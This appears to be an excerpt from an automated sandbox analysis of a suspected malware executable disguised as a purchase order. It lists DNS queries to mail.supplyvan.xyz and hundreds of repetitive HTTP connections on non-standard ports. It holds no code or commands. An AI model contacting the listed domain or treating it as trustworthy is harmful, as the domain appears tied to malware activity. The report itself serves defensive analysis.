Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	DNS query: mail.supplyvan.xyz
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	DNS query: mail.supplyvan.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 37736
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 54240
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 55109
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 37736
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 3629
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 6001
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 49614
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 41746
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 24543
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 44195
Source: unknown	Network traffic detected: HTTP traffic on port 50378 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50421 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50330 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50494 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50355 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50627 -> 25675
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50538 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50413 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50506 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 27207
Source: unknown	Network traffic detected: HTTP traffic on port 30000 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 31571
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50484 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50593 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 85
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 24543 -> 50422
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 55109
Source: unknown	Network traffic detected: HTTP traffic on port 50730 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50576 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50565 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 52858
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 28513
Source: unknown	Network traffic detected: HTTP traffic on port 50830 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50949 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50853 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 50705 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50468
Source: unknown	Network traffic detected: HTTP traffic on port 44195 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50805 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 54240
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 50631
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50983 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50413
Source: unknown	Network traffic detected: HTTP traffic on port 51016 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51018 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 59820
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50977 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50981 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50887
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 11070
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 51049 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51042 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 58275
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 37736
Source: unknown	Network traffic detected: HTTP traffic on port 51066 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51011 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 49614
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 3500
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51075 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50687
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51033
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 10080
Source: unknown	Network traffic detected: HTTP traffic on port 51101 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 43100
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 666
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 15291
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 14669
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 51169 -> 22942
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 62969
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51093 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 4019 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51161 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51165 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 51226 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 53777
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 85
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51058
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 50310 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51231 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 26976
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 52858
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 28513
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50479 -> 57642
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51089
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51246 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 51258 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 51507
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51268 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51249
Source: unknown	Network traffic detected: HTTP traffic on port 51357 -> 41442
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 7237
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51342 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 55109
Source: unknown	Network traffic detected: HTTP traffic on port 51294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 4228
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51389 -> 44523
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50707 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51411 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51363 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 61344
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51042 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50484
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50705
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 5020
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51407 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51421 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 4228 -> 50741
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50433 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50878 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 51484 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 26777
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 14669
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51161 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 22881
Source: unknown	Network traffic detected: HTTP traffic on port 51463 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 51455 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 12217
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51302
Source: unknown	Network traffic detected: HTTP traffic on port 51479 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51429 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51539 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 30747
Source: unknown	Network traffic detected: HTTP traffic on port 50813 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51086 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51543 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 51501 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51466
Source: unknown	Network traffic detected: HTTP traffic on port 51560 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51520 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51641 -> 26305
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 10010 -> 51438
Source: unknown	Network traffic detected: HTTP traffic on port 9990 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 49614
Source: unknown	Network traffic detected: HTTP traffic on port 51668 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51701 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 51561 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51616 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51621 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51705 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51567 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51154 -> 15410
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 25492
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51589 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51389 -> 44523
Source: unknown	Network traffic detected: HTTP traffic on port 51171 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51577
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51572 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51591 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51789 -> 55029
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51491
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 14921
Source: unknown	Network traffic detected: HTTP traffic on port 51576 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51587 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 51737 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 51080
Source: unknown	Network traffic detected: HTTP traffic on port 54240 -> 49794
